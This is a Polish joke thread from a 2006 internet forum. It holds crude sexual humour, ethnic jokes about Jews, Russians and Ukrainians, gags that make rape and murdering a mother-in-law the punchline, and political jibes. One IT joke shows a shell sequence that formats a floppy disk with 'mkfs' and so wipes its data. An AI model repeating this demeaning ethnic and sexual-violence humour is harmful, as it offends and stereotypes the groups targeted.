- Panie doktorze! Jak to dobrze, że pana zastałam, tu mam te moje wyniki, wie pan, te z wczoraj no i niech mi pan powie co z pan o nich sądzi, panie doktorze, ja bardzo pana proszę, niech pan powie...
Lekarz w zamyśleniu popatrzył na wyniki, potarł ręką brodę i mówi:
- To? To, proszę pani, jest rak.
- Ale jak to rak?! Przecież pan mówił że ja mam kamienie!!
- Tak, kamienie. A pod każdym kamieniem rak, hyhyhyhy...

pyrosis - 26-02-2006, 13:19

Trzech facetów cale zycie zbieralo na wyjazd do Kenii, ale zbierali tak, ze jedli suchy chleb popijajac woda. No i w koncu uzbierali i wyjechali. Pewnego wieczoru jeden z nich mowi:
- Ej chlopaki, moze napijemy sie wodki
drugi mowi:
- Ok, super
a trzeci:
- K... ja cale zycie prawie nic nie jem, nie pije po to, zebysmy wyjechali! zbieram na to, zebym mogl sobie pozwolic na zwiedzanie, na wycieczki!!!> a wy wydajecie na wodke??? ja sie na to nie pisze! Obrazony poszedł spać. No wiec tych dwoch poszlo, kupilo 2 flaszki, nachlali sie i wrocili do domu. Rano wstaja, patrza, a nie ma trzeciego! Wychodza przed kwaterke... patrzą... a tam lezy krokodyl - gruby, ogromny, piekny krokodyl z otwarta paszcza! Patrza - a z tej paszczy wystaje glowa tego trzeciego.
Stoja tacy nawaleni, patrzą i jeden mowi: - Patttssssszzzzz starrrryyyyyy, na wooooodke sęęępiłłłłłł, a śpiwooorek toooo Lacosty .

bann - 26-02-2006, 21:54

cos mi to przypomina:

How many Scuba Forum 'Regulars' does it take to change a Light Bulb?
~~~ ~~~ ~~~ ~~~
1 to change the light bulb and to post that the light bulb has been changed

14 to share similar experiences of changing light bulbs and how the light bulb could have been changed differently

7 to caution about the dangers of changing light bulbs

1 to move it to the Lighting section

2 to argue then move it to the Electricals section

7 to point out spelling/grammar errors in posts about changing light bulbs

5 to flame the spell checkers

3 to correct spelling/grammar flames

6 to argue over whether it's "lightbulb" or "light bulb" ... another 6 to condemn those 6 as stupid

2 industry professionals to inform the group that the proper term is "lamp"

15 know-it-alls who claim they were in the industry, and that "light bulb" is perfectly correct

19 to post that this forum is not about light bulbs and to please take this discussion to a lightbulb forum

11 to defend the posting to this forum saying that we all use light bulbs and therefore the posts are relevant to this forum

36 to debate which method of changing light bulbs is superior, where to buy the best light bulbs, what brand of light bulbs work best for this technique and what brands are faulty

7 to post URL's where one can see examples of different light bulbs

4 to post that the URL's were posted incorrectly and then post the corrected URL's

3 to post about links they found from the URL's that are relevant to this group which makes light bulbs relevant to this group

13 to link all posts to date, quote them in their entirety including all headers and signatures, and add "Me too"

5 to post to the group that they will no longer post because they cannot handle the light bulb controversy

4 to say "didn't we go through this already a short time ago?"

13 to say "do a Google search on light bulbs before posting questions about light bulbs"

1 forum lurker to respond to the original post 6 months from now and start it all over again.

**********************************
[ Dodano: Nie 26 Lut, 2006 ]
Newsy z Wiejskiej

Dziś rano Lech Kaczyński ogłosił ambitny plan dla IV RP, plan dostał kryptonim AKCJA WISŁA. Akcja ma polegać na pogłębianiu dna i trzymaniu się koryta.

Platforma Obywatelska zażądała od Premiera natychmiastowej dymisji ministra rolnictwa.... Ojciec Rydzyk odmówił.

[ Dodano: Nie 26 Lut, 2006 ]
***********************************
Gdyby kobieta była serwerem WWW:

a.. 400 Bad Request - a gdzie bukiet kwiatów?
b.. 401 Unauthorized - mężatka
c.. 402 Payment Required - kolacja przy świecach
d.. 403 Forbidden - łapy precz!
e.. 404 Not Found - dzisiaj jestem za zakupach z koleżankami
f.. 405 Method Not Allowed - Nie, tylko nie anal!
g.. 406 Method Not Acceptable - ...tylko nie oral!
h.. 407 Proxy Auth. Required - muszę zapytać mamy
i.. 408 Request Timeout - Czy wiesz, ile czasu do mnie nie dzwoniłes?
j.. 409 Conflict - kim była ta wczorajsza blondynka?
k.. 410 Document Removed - Chcę rozwodu
l.. 411 Lenght Required - Co? I ty go uważasz za długiego?
m.. 412 Precondition Failed - Co? Nie masz prezerwatywy?
n.. 413 Request Entity Too Large - TAKI nie wejdzie!
o.. 415 Unsupported Media Type - Nie, tego do ust nie włożę!
p.. 500 Internal Server Error - miesiĹĄczka
q.. 501 Not Implemented - Jeszcze nigdy tak nie próbowałam
r.. 502 Bad Gateway - Bleee!
s.. 503 Service Unavailable - Boli mnie głowa
t.. 504 Gateway Timeout - Już skończyłeś?

[ Dodano: Nie 26 Lut, 2006 ]
************************************

W upalne afrykanskie popoludnie nad wodopojem zyrafa przechwala sie zajacowi:
- mowie ci zajac ta moja dluga szyja jest wspaniala! Jak jem cos dobrego to najpierw czuje smak w buzi potem lykam i potem takie wspaniale uczucie jak wpada jedzonko do brzuszka! A jak w upalny dzien pije zimna wode to ona chlodzi mi usta potem cala szyje i jak doleci do brzuszka to takie cudowne uczucie... Zaluj zajac ze ty nie masz takiej szyji.
Zajac sie skrzywil i pyta:
- Te zyrafa! A rzygalas kiedys?

[ Dodano: Nie 26 Lut, 2006 ]
***********************************

Czego nie chciałbyś usłyszeć podczas operacji.

1. Lepiej to gdzieś schowajcie, przyda się do autopsji.

2. Niech ktoś zawoła sprzątaczkę ze szmata do podłogi i wiadrem.

3. Przyjmij ta ofiarę, o Wielki Panie Ciemności!

4. Burek! Burek, wracaj i oddaj to, co zabrałeś!

5. Chwilkę, jeśli to jest śledziona, to co ja trzymam w ręce?

6. Eeee... podaj mi to tam, no... to coś...

7. O nie! Zgubiłem mojego Rolexa!

8. Ups! Ktoś już kiedyś przeżył 500ml diapaminy?

9. Cholera, znowu zgasło światło!

10. Wiecie, na nerkach można zrobić niezły interes.

11. Patrzcie, ten facet ma dwie!

12. Niech wszyscy się cofną! Zgubiłem szkła kontaktowe!

13. Możesz zatrzymać to cos? Jak tak pulsuje, to nie mogę się skoncentrować.

14. A to co tu robi?

[ Dodano: Nie 26 Lut, 2006 ]
*******************************

W celi siedzi trzech gości: Rusek, Chachoł i Jewriej. Ruski dostał
słoninę. Daje Jewriejowi.
"Nie zjem - myśli. - Bo jak zjem, to będzie chciał, żebym dał mu od tyłu."
- Nie chcę - odmówił Jewriej.
Ruski więc częstuje Chachoła.
"Nie zjem - myśli. - Bo jak zjem... Albo nie - jak zjem, to będę miał
siłę w rękach i się obronię przed Ruskim, jak będzie chciał mnie wziąć
od tyłu."
- Dawaj, zjem - mówi Chachoł.
No i zjadł.
A Ruski na to:
- Masz już siłę w rękach? To przytrzymaj mi Jewrieja...

[ Dodano: Nie 26 Lut, 2006 ]
*******************************8

Ksiądz i siostra zakonna wracają z konwencji kiedy nagle nawala im samochód.
Ponieważ awaria jest poważna, zdani oni są na nocowanie w przydrożnym hotelu.Jedyny hotel w okolicy ma wolny tylko jeden pokój, wiec powstaje mały problem.
: Siostro, wydaje mi się ze w obecnym przypadku Pan nie będzie miał nam za złe jeśli spędzimy noc w tym samym pokoju. Ja prześpię się na podłodze, siostra weźmie łóżko...
: myślę że to będzie w porządku...
Wiec jak ustalili tak i zrobili. Po 10 minutach....
: Ojcze jest mi strasznie zimno....
: Dobrze, podam Siostrze koc z szafy...
10 minut później...
: Ojcze, nadal mi strasznie zimno....
: No dobrze, podam Siostrze następny koc...
po kolejnych 10 minutach...
: Ojcze, nadal mi strasznie zimno. Nie sądzę aby w tym wypadku Pan miał nam za złe abyśmy zachowali się jak mąż i żona w tą jedyną noc...
: masz rację..... wstawaj i sama weź sobie ten cholerny koc.

The_PiotREX - 27-02-2006, 08:15

Ja się może i nie znam, ale czy zamiast "diapaminy" nie powinno byc "dopaminy" ?
agrest - 27-02-2006, 15:54

Prawdy zyciowe

Czasem, kiedy jesteś smutny, nikt nie widzi twojego strapienia....
Czasem, kiedy płaczesz, nikt nie widzi twoich łez...
Czasem, kiedy jesteś szęśliwy, nikt nie widzi twojego uśmiechu...
Czasem, kiedy się śmiejesz, nikt nie widzi twojej radości...
Ale weź tylko pierdnij...

Przemek - 27-02-2006, 16:40

Super=]]
tsharny - 28-02-2006, 09:11

Pewna para wyjechała na wakacje do Chin. Podczas odwiedzin na bazarku
zauwazyli sprzedawce sandałów, który wygląda jak czarodzej. " Chodz pan,
chodz pan, na moja śkromna stragan może kupic rzeci napLawde ciudowne".
Młoda para zbliża sie zaciekawiona i sprzedawca pokazuje im pare sandałów
"Pan, te sandały magiczne! Jak zaLoży pan robić namietna miłośc, jak dzikie
zwierze"
Facet nie chce wierzyc -ale sprzedawca "PLóbuje pan, pLóbuje pan". W
koncu, też pod naciskiem swojej żony, postanawia kupic i założyc....nagle
oczy mu czerwienieja, czuje dreszcze i ręce mu drzą, takiego ogiera jeszcze żona
nie widzała w nim Facet szybko jak tygrysek, złapie chinczyka za pupe,
zrywa mu spodnie i zaczyna go ruchac. "Zatrzymaj! Zatrzymaj się!!" krzyczy
zdesperowany sprzedawca z łzami w oczach..."ZaLożiłes odwLotnie, palancie,
zaLoziłes odwLotnie"

Efraim Ryba - 28-02-2006, 13:56

z funiastych ( http://www.funiaste.net )

Dwie zakonnice jadą samochodem. Zabrakło im benzyny. Jedna z sióstr postanowiła iść na stację benzynową i wzięła ze sobą jedyne naczynie, jakie było dostępne - nocnik. Wróciła i z tego nocnika wlewa benzynę do baku. Obok samochodem przejeżdżają dwaj księża. Jeden mówi do drugiego:
- Siła ich wiary rzuca mnie na kolana...

tsharny - 28-02-2006, 14:20

poszedł facet w nocy do burdelu i walił, walił tak całą noc i... nikt mu nie otworzył...
Andrzej Minorczyk - 28-02-2006, 18:35

o Norisie

chuck noris jest tak szybki ze juz dwa razy policzyl do nieskonczonosci.

wiesiek01 - 28-02-2006, 18:42

Z ostatniej chwili:
Chuck Noris przekonał Goździkową do Apap'u..

tsharny - 28-02-2006, 20:52

chuck noris zgrał cały internet na dyskietkę...
Andrzej Minorczyk - 28-02-2006, 21:42

wiesiek01 napisał/a:
Chuck Noris przekonał Goździkową do Apap'u..


tsharny napisał/a:
chuck noris zgrał cały internet na dyskietkę...


Panowie to mnie ZMASAKROWAŁO

CZY NORIS NURKUJE . . . ?BO JAK TAK TO PEWNIE MA SKRZELA I PŁYWA CHUCK- KIKIEM W CHUCKFINACH I CHUCKECIE ,PIANCE CHUCQESA A JEGO SYN MC'GYWER ZROBIŁ MU Z(GROZE)

wiesiek01 - 01-03-2006, 08:26

Nurofen napisał/a:
CZY NORIS NURKUJE . . . ?BO JAK TAK TO PEWNIE MA SKRZELA I PŁYWA CHUCK- KIKIEM W CHUCKFINACH I CHUCKECIE ,PIANCE CHUCQESA A JEGO SYN MC'GYWER ZROBIŁ MU Z(GROZE)


On potrafi wszystko, nawet zadzwonił na 9393 (Błękitna Linia...) i załatwił swoją sprawę. Natychmiast !!

The_PiotREX - 01-03-2006, 08:55

Wydaje mi się że wszyscy już znaja po 800 głupich (relatywnie :/ ) kawałów o CN więc może przyjmijmy że FN jest na tyle normalnym miejscem na jakimś w miarę dobrym poziomie i darujmy sobie przepisywanie tych kawałów tutaj...
tsharny - 01-03-2006, 10:40

wyluzuj The_Piotrex bo ci żyłka pęknie :mrgreen:
Efraim Ryba - 01-03-2006, 14:07

Za Funiastymi ( http://www.funiaste.net )

Rosjanin wsiadł do pociągu relacji Paryż-Bruksela. Wszystkie miejsca zajęte przez pasażerów, a jedno z podwójnych siedzeń zajmuje francuska gospodyni z małym pieskiem, który rozwalił się jak car na carskim tronie. Rosjanin prosi:
- Madame, nie mogłaby pani wziąć swojego pieska na ręce?
Kobieta ostro odpowiada:
- Wy Rosjanie jesteście jak zwykle bezceremonialni. Moja Fifi jest zmęczona. Niech sobie pan poszuka wolnego miejsca w innym wagonie.
Rosjanin poszedł więc szukać nowego miejsca. Nie znalazł.. Wraca, mówi:
- Lady, jestem bardzo zmęczony, chciałbym usiąść. Niech pani weźmie swojego psa na ręce.
Francuzka rozeźlona krzyczy:
- Wy, Ruscy, jesteście gruboskórni i nieokrzesani! W Europie ludzie się tak nie zachowują. To jest nie do pomyślenia!
Wtedy Rosjanin nie wytrzymał i wywalił suczkę przez okno, a sam usiadł sobie wygodnie. Kobieta w szoku, przeklina, miota się, wrzeszczy. Do rozmowy nagle dołącza się siedzący obok Anglik - dżentelmen w każdym calu:
- Wy, Rosjanie, wszystko robicie nie tak jak trzeba, jakby nie od tej strony. Podczas obiadu trzymacie nóż w lewej ręce, samochody jeżdżą u was po prawej stronie, a teraz pan wyrzucił przez okno nie ta sukę co trzeba.

tsharny - 01-03-2006, 17:46

rodzaje seksu :mrgreen:

SEKS GŁOŚNY
Żona skarży się psychoterapeucie:
- Mam wielki problem, doktorze. Za każdym razem, gdy jesteśmy w łóżku i mąż dochodzi do szczytu, wydaje rozdzierający uszy okrzyk.
- Ależ to zupełnie naturalne droga pani odpowiedział lekarz - ja w tym nie widzę żadnego problemu.
- Ale ja widzę - bo to mnie budzi!

SEKS CICHY
Zniechęcony bezbarwnym życiem erotycznym mąż mówi w łóżku do żony:
- Dlaczego nigdy mi nie mówisz, kiedy masz orgazm?
Żona, rzucając mu obojętne spojrzenie, odpowiada:
- Bo cię nigdy wtedy nie ma w domu

SEKS W ROCZNICĘ ŚLUBU
W 40 rocznice ślubu małżeństwo kłóci się zażarcie. Mąż wrzeszczy:
- Kiedy umrzesz, postawie ci nagrobek z napisem: Tu leży moja Żona zimna jak zawsze!
- W porządku - odpowiada Żona. - A kiedy ty umrzesz, ja ci postawie nagrobek z napisem: Tu leży mój mąż, nareszcie sztywny!

SEKS W GOSPODARSTWIE DOMOWYM
- Jest po prostu za gorąco, żeby włożyć ubranie - powiedział mąż wychodząc spod prysznica. - Jak sądzisz, kochanie, co powiedzieliby
sąsiedzi, gdybym w takim stanie wyszedł strzyc trawnik?
- Prawdopodobnie, że wyszłam za ciebie dla pieniędzy - odpowiedziała żona

SEKS UNIEMOŻLIWIONY
Mężczyzna miał okropny wypadek, podczas którego jego męskość zahaczyła o cos i oderwała się od reszty ciała. Lekarz zapewnił go, ze współczesna medycyna może przywrócić mu sprawność, ale ubezpieczenie nie pokryje kosztu operacji, uważając ją za kosmetyczną. Koszt ten wynosiłby $ 3 500 za małego, $ 6 500 za średniefggi $ 14 000 za dużego.
Mężczyzna był pewien, ze chciałby średniego lub dużego, ale lekarz nalegał, by omówił sprawę ze swoja Żoną. Mężczyzna zatelefonował do żony i wyjaśnił jej możliwości wyboru. Gdy lekarz ponownie wszedł do pokoju, zastał pacjenta w stanie kompletnej rozpaczy.
- Co zatem postanowiliście? - zapytał.
- Ona wolałaby przebudować kuchnię.

Anja - 02-03-2006, 12:48

Mąż zabrał żonę na pierwszą w jej życiu partię golfa. Oczywiście pierwsze
uderzenie żony w piłeczkę i... okno stojącego obok pola golfowego domku
zostaje rozbite. Mąż trochę się zdenerwował:
- Mówiłem żebyś uważała a teraz trzeba będzie tam iść przepraszać i może
nawet zapłacić.
Tak wiec golfisci idą do domku i pukają w jego drzwi.
Momentalnie dochodzi ze środka miły glos mężczyzny.
- Proszę wejść.
Po wejściu zauważają w domku: zbite kawałki szyby, rozbita stara wazę i
siedzącego na kanapie kolesia. Koleś pyta:
- Czy to wy zbiliście szybę?
- Tak... przepraszamy za to bardzo - odpowiadają golfisci.
- Hm, właściwie to nie ma, za co. Jestem dżinem, który był uwięziony w tej
wazie kilkaset lat. Teraz powinienem spełnić trzy życzenia.
Nie obrazicie się jak spełnię wam po jednym, a sam zostawię sobie jedno na
koniec?
- Nie tak jest świetnie - odpowiada maź - ja bym chciał dostawać milion
dolarów co roku.
- Nie ma problemu - mówi dżin - do tego gwarantuje, że będziesz bardzo długo
żył.
- A ty młoda kobieto, czego chcesz?
- Chciałabym mięć ogromny dom w każdym państwie, każdy z najlepszymi na
świecie służącymi.
- Mówisz i masz - odpowiada dżin - Do tego obiecuje ci, ze do żadnego z nich
nikt się nigdy nie włamie.
- A jakie jest twoje życzenie dżinie? - pyta małżeństwo.
- Ponieważ tak długo byłem uwięziony nie marze o niczym innym jak o seksie z
tobą - zwraca się do kobiety dżin.
- I co ty na to kochanie? - pyta mąż - Mamy tyle kasy i domy... może się
zgódź.
Tak wiec żona kolesia z dżinem idzie na pięterko....
Cale popołudnie kochają się. Dżin jest wręcz nienasycony. Po 4 godzinach
nieustannego seksu dżin złazi z kobiety, patrzy jej prosto w oczy i pyta:
- Ile masz lat ty i twój mąż?
- Oboje mamy po 35.
- Pieprzysz? 35 lat i wierzycie w dzina?!

wiesiek01 - 02-03-2006, 15:49

Sorry jeśli się powtórzę:

Jak odróżnić gatunki niedzwiedzia? (metoda praktyczna)

Najpierw trzeba znalezc niedzwiedzia, podejsc do niego po cichutku.
Nastepnie uciekamy i teraz:
- jezeli uciekamy, a niedzwiedz nie goni nas to jest to mis pluszowy
- jezeli uciekamy na drzewo, a niedzwiedz wchodzi za nami to jest to niedzwiedz brunatny
- jezeli uciekamy na drzewo, a niedzwiedz zaczyna nim trzasc tak,ze spadamy w jego lapska, to jest to niedzwiedz Grizzly
- jezeli uciekamy na drzewo, a niedzwiedz wspina sie za nami i wpieprza liscie to jest to mis Koala
- jezeli uciekamy i nigdzie nie ma drzew to jest to niedzwiedz polarny...
- a jak uciekamy, a niedzwiedz zaczyna plakac, to jest to mis Kolargol - najwieksza a fee wsród niedzwiedzi!

Tomek Radomski - 02-03-2006, 16:08

Egzaltowana turystka mówi do bacy:
- Ależ pan musi być szczęśliwy... patrzy pan na zaślubiny górskich szczytów z obłokami, widuje pan zachodzące słońce wypijające czar niknącego tajemniczego dnia...
- Ta widywałem, widywałem - przerywa baca - ale już nie piję.

wrobel.cwirek - 02-03-2006, 19:29

wiesiek01 napisał/a:
- a jak uciekamy, a niedzwiedz zaczyna plakac, to jest to mis Kolargol - najwieksza a fee wsród niedzwiedzi!


a jak niedzwiedz idzie poskarzyc sie Pani Przedszkolance to jest to Mis Usztek - skarzypyta i donosiciel jakich malo

borewicz07 - 03-03-2006, 16:00

wiesiek01 napisał/a:
Z ostatniej chwili:
Chuck Noris przekonał Goździkową do Apap'u..


Chuck Norris nie wie kto to "Gozdzikowa" - no bo i po co mialby wiedziec...

tsharny - 06-03-2006, 15:02

W zatłoczonym autobusie stoi lekko zawiany jegomość, który co pewien czas
mówi głośno "O kur.a!". Pasażerowie zwracają mu uwagę, ale on nie reaguje,
tylko powtarza swoje. W końcu kierowca zatrzymuje autobus,
podchodzi do faceta i grozi, że jeżli nie przestanie, to zawiezie go na
policję. Na to facet nachyla się, mówi kierowcy kilka słów na ucho.
Kierowca pobladł gwałtownie i mówi:
- O kur.a! Ja bardzo państwa przepraszam, ale żona tego pana urodziła
wczoraj bliźniaki i dała im na imię Lech i Jarosław
- O kur.a! - zgodnie chórem odpowiedzieli pasażerowie

MACIEKU - 06-03-2006, 18:44

wrobel.cwirek napisał/a:
Kierownik - sekretarce: Pani Zosiu, czy moze Pani przegrac naszym partnerom wyniki za
kwiecien, oni zaraz podejda.
- Dzien dobry, czy to Panom mam przegrac wyniki miesieczne?
- Dzien dobry, tak, nam, gdyby byla Pani uprzejma, tu mamy czysta dyskiete.
- Alez oczywiscie
Wstawia dyskiete do napedu i...
# mkfs -t vfat -c /dev/fd0h1440
# mount -t vfat -o iocharset=iso8859-2,codepage=852 /dev/fd0 /mnt/floppy
# find / -noleaf -type f -name Wyniki_Kwiecień.[a-zA-Z] -exec cp '{ }' /mnt/floppy \;
# ls -la /mnt/floppy/Wyniki_Kwiecień.[a-z][A-Z] && sync && sleep 3
wyciaga dyskiete i podaje.
Partnerzy: o kur.a
Sekretarka: oj kur.a, znowu odmountowac zapomniałam

[ Dodano: 02-02-2006, 17:17 ]
- jak wygenerwować losowy ciąg znaków ?
- posadzić nowego usera przed vi i kazać mu wyjść z edytora.



Boooooooooooooskie ........ dawno się tak nie uśmiałem -)

tsharny - 06-03-2006, 22:01

jakie są trzy najstraszniejsze slowa, jakie można usłyszeć od Giertycha?

"dzień dobry, sąsiedzie"

amalcz - 07-03-2006, 08:18

3 stycznia 2006 r. W akademickiej stolówce rozmawia trzech studentów.

- Ja Sylwestra spedzilem na "Kanarach". Mówie wam, super laseczki,

kapiel w morzu, drinki z parasolkami, cudo. - zagaja pierwszy

- A ja - przechwala sie drugi - bylem w Alpach. Narty, dziewczyny

zarumienione od mrozu, grzane wino do lózka, cos wspanialego.

A co ty robiles ? - pyta trzeciego

- A ja siedzialem razem z wami w pokoju, tylko nie palilem tego skurwysynstwa.

tsharny - 07-03-2006, 10:53

Informatyk zasnął, rozmyślając o seksualnym problemie.
Rano obudził się z rozwiązaniem w ręku.

Renurek - 07-03-2006, 15:29

Dziennikarka skierowana do biura w Jerozolimie zajmuje mieszkanie z oknami
skierowanymi na historyczna Ścianę Płaczu. Każdego dnia, kiedy spogląda
przez okno, widzi starego Żyda z brodą energicznie się modlącego.
Ponieważ z pewnością jest on dobrym tematem na wywiad, dziennikarka udaje
się w pobliże ściany i przedstawia się człowiekowi, zadaje pytanie:
*Przychodzi pan każdego dnia do ściany, od jak dawna pan to robi i o
co się modli?
Mężczyzna odpowiada:
*Przychodzę tutaj, by się modlić każdego dnia, od 25 lat. Rano modlę
się za pokój na świecie i za braterstwo ludzi. Idę do domu, piję filiżankę
herbaty, wracam i modle się o wyeliminowanie chorób i zaraz z ziemi. I o
to, co bardzo, bardzo ważne, modle się o pokój i zrozumienie między
Izraelczykami i Palestyńczykami.
Dziennikarka jest pod ogromnym wrażeniem.
*I jak pan czuje się z tym, ze przychodzi tutaj każdego dnia
przez 25 lat i modli się za te wspaniale rzeczy? - pyta.
Starszy mężczyzna odpowiada spokojnie:
*Jakbym, kur.a, mówił do ściany...

tsharny - 08-03-2006, 15:56

Najkrótszy dowcip o Lechu: To najwyższy urzędnik państwowy... :mrgreen:
Efraim Ryba - 09-03-2006, 10:56

Jakie jest najmniejsze i najbrzydsze państwo w Europie?


Państwo Kaczyńscy...

tsharny - 09-03-2006, 11:02

Wypadek samochodowy.
Kierowca siedzi w rozpierdzielonym samochodzie z wybałuszonymi oczami, a
policjant zwraca się do niego z ojcowskim pouczeniem w te słowa:
- No i widzi pan? Pan zapiął pas i nawet pan nie draśnięty, a pana kobita nie
zapięła i teraz się wala tam w krzakach z penisem w zębach...

m1k3l - 09-03-2006, 12:04

:D
Grzyb - 09-03-2006, 12:16

Dwa łabędzie grają w statki
- H5....
- trafiony
- N1.....
- zatopiony........

Adamus - 09-03-2006, 15:22

W szkole.
- Romek, przeczytałeś trylogię Sienkiewicza?
- To trza było przeczytać, Zygmunt?
- Tak, na dzisiaj.
- K*rwa, a ja przepisałem...

m1k3l - 09-03-2006, 22:35
Temat postu: :)
Dwie gospodynie stoją przy pralce:
- Jadźka, ale tak między nami... anal już próbowałaś?
- Nieee, zadowolona jestem z Dosi...

[ Dodano: 09-03-2006, 22:38 ]
Hrabia, słynny gawędziarz opowiada wśród grona przyjaciół jedną zeswoich licznych przygód.
- Sarna, którą upolowałem była wielka i ciężka, wokół nikogo nie było, więc musiałem sam sobie z nią poradzić. Zarzuciłem jedną nogę sarny nalewe ramię, drugą na prawe...
W tym momencie hrabia został zawołany przez służącego do pilnego telefonu. Po chwili wraca i pyta:
- Na czym to ja skończyłem?
- Jedna noga na prawe ramię, druga noga na lewe ramię... - podpowiada chór przyjaciół.
- A, już wiem - przypomina sobie hrabia - ach te Rosjanki, cóż to były za kobiety!!!

[ Dodano: 09-03-2006, 22:41 ]
Dlaczego w Niemczech po wyborach od razu tak szybko stworzono koalicję rządzącą?
- Bo tam nikt nie robi problemu z dziadka w Wermachcie.

[ Dodano: 09-03-2006, 22:41 ]
Mężczyzna wchodzi wieczorem do lokalu. Spostrzega siedzącą przy barze atrakcyjna kobietę. Podchodzi i zagaja:
- Co porabiasz, ślicznotko?
Ona patrzy mu w oczy i odpowiada:
- Co porabiam? Dymam, kogo popadnie. Wszystkich jak leci. Starannie, na wylot i wszędzie. W domu, w biurze, nawet tutaj. Uwielbiam dymać kogo się da. Od kiedy skończyłam nauki, nie robię nic innego. Na to on:
- No proszę, coś podobnego! Bo ja też jestem prawnikiem. A pani mecenas to w której kancelarii pracuje?

[ Dodano: 09-03-2006, 22:42 ]
Para wybrała się na zimowe ferie do małego, romantycznego domku gdzieś w górach. On od razu poszedł do drewutni po drwa do kominka. Po powrocie krzyczy:
- Kochanie, jak strasznie zmarzły mi ręce!
- Włóż je między moje uda i ogrzej - odpowiada ona czule.
Jak powiedziała, tak zrobił i to go rozgrzało. Zjedli obiad i on poszedł narąbać jeszcze trochę drewna. Po powrocie woła:
- Kochanie, ależ mi zimno w ręce!
- Włóż je między moje uda i ogrzej - odpowiada ponownie dziewczyna.
Nie trzeba mu było dwa razy powtarzać. Po kolacji chłopak udał się po zapas drewna na całą noc. Ledwo wrócił, od razu woła:
- Jejku, jejku, kochanie, jak mi zimno w ręce!
- Ręce, ręce! - nie wytrzymuje dziewczyna. - A uszy to ci nie marzną?

[ Dodano: 09-03-2006, 22:43 ]
Egzaminy wstępne na kierunek nauk politycznych. Profesor rozmawia z kandydatką:
- Co Pani wiadomo na temat programu ekonomicznego dla Polski realizowanego przez ministra Hausnera?
Dziewczyna milczy.
- No to co Pani wie o polityce społecznej Leszka Millera?
Dziewczyna milczy.
- A wie Pani kto to jest Leszek Miller?
Dziewczyna milczy. Profesor myśli, że jest niemową:
- A skąd Pani pochodzi?
- Z Bieszczad Panie Profesorze.
Profesor podszedł do okna, wygląda na ulicę, chwilę się zastanawia i mówi do siebie:
- a fee... może by tak wszystko a fee i wyjechać w Bieszczady!

[ Dodano: 09-03-2006, 22:44 ]
No i już koniec...troche tych a fee się pojawiło ale no cóż.. :) niektórych dowcipów nie da sie inaczej opowiedziec ;)
Pozdrawiam
m1k3l

wrobel.cwirek - 10-03-2006, 07:50

m1k3l napisał/a:
No i już koniec...troche tych a fee się pojawiło ale no cóż.. Smile niektórych dowcipów nie da sie inaczej opowiedziec ;)
Pozdrawiam
m1k3l


Nie przejmuj sie, motyla noga, uznali, motyla noga, ze jestesmy przedszkolakami i nie powinnismy, motyla noga, czytac brzydkich wyrazow i tna panie, tna straszliwie!!! Motyla noga :-(

Adamus - 10-03-2006, 10:13

Po latach spotkało się trzech przyjaciół.
Chcąc, nie chcąc rozmowa zeszła na teściowe.
- Ja - mówi ten z który skończył medycynę - załatwię gdzieś cyjanek i dodam cholerze do kawy.
Ten po politechnice, zapodaje swój pomysł:
- Wezmę pożyczkę, kupię starej pipie Renault Clio i przetnę przewody hamulcowe.
Niech się rozwali na drzewie, suka.
Gość, którego losy rzuciły na Akademie Rolnicza, mówi:
- A ja kupię dwadzieścia tabletek Ibupromu, wezmę to wszystko do gęby, przeżuję, zrobię z tego kulę, wysuszę ją w mikrofali, i zostawię na stole w kuchni.
- Ale po co ? - pytają koledzy
- Wejdzie ta stara raszpla do kuchni, zobaczy kulę i powie
"Ale wielka tabletka Ibupromu".
A ja wtedy wypadnę z łazienki i pierd*lnę ją siekierą w plecy.


Reklama autorstwa agencji Wieden & Kennedy jest prosta.
Pokazuje kolejne etapy jazdy najnowszym modelem Hondy Civic, a wszystkie
dźwięki, dostojnej jazdy, żwiru wypryskującego spod kół, kropli
deszczu spadających na maskę, a nawet hamowania i muzyki
dobiegającej z wnętrza samochodu - wszystkie one są śpiewane
przez 60-osobowy chór.
Link

bann - 10-03-2006, 11:50

"Małżeństwo świętuje piątą rocznicę ślubu.
- Muszę ci kochanie coś wyznać - mówi mąż - jestem daltonistą.
- I ja chciałabym coś wyznać - mówi żona - nie jestem z Ciechanowa, jestem z Mozambiku."
------------------------------------------
W mroźny, zimowy wieczór elegancko wyglądający gość w "średnim" wieku poderwał w knajpie młodą laseczkę.Było to o tyle łatwe, że dziewczyna widziała przez okno jak facet wysiadał z nowiutkiego Mercedesa 600. Bez oporów więc przyjęła propozycję wspólnego spędzenia nocy.

Facet zabrał ją do swojej willi pod miastem. Płonący kominek, dobra whisky, kanapki z kawiorem, nastrojowa muzyka, słowem wszystko zbliżało ich coraz bardziej w stronę sypialni. W pewnym momencie mężczyzna zaproponował przejażdżkę po pobliskim zaśnieżonym lesie. Dziewczyna trochę niechętnie, ale jednak wyraziła zgodę. Zajechali Mercem na polanę w środku głuszy, facet wyjął z bagażnika sztucer, przeładował i powiedział:

- Rozbieraj się.

Dziewczyna trochę przestraszona sytuacją, a jeszcze bardziej 25 stopniowym mrozem, próbowała protestować, ale strzał w powietrze spowodował, że wykonała polecenie dość szybko. Gdy już goła stała boso na śniegu gość rozkazał:

- Lep bałwana - i dla uniknięcia ewentualnych protestów znowu strzelił w powietrze ze sztucera.

Dziewczyna rzuciła się toczyć śniegowe kule. Po 40 minutach na polanie stał bałwan jak malowany. Miał nawet śniegowe rączki i nosek z kawałka gałęzi. Za to laska była cała zdrętwiała z zimna. Klient schował sztucer, owinął ją grubym pledem i zabrał znowu do swojej willi. A tam kominek, kawior, gorący grog, nastrojowa muzyka. Gdy panna odzyskała mowę pierwszą rzeczą jaką zrobiła było wykrzyczane zapytanie :

- Co to kur*a miało wszystko znaczyć!?

- Widzisz, moja śliczna - odpowiedział spokojnie gość - Ja już jestem strasznie kiepski w łóżku, a dzięki temu bałwankowi, mam pewność, że tą noc zapamiętasz do końca życia.
---------------------------------------
Panie doktorze, od kilku dni mam zatwardzenie, nic mi nie pomaga
- Będziemy musieli panu zaaplikować czopki. Proszę się odwrócić, ściągnąć spodnie i pochylić się.
Ja panu pokaże jak to się robi.
Facet ściągnął gacie, pochylił się i poczuł jak doktor wsuwa mu coś do tyłka.
- OK, gotowe. Proszę to samo powtarzać samemu w domu co 12 godzin przez najbliższe trzy dni.
Wieczorem gościu próbował samemu sobie poradzić ale jakoś mu się nie udawało. Poprosił więc żonę o pomoc. Odwrócił się, ściągnął spodnie i wypiął dupsko. Żona jedną ręką położyła na jego ramieniu, drugą natomiast zaczęła wkładać mu czopek.
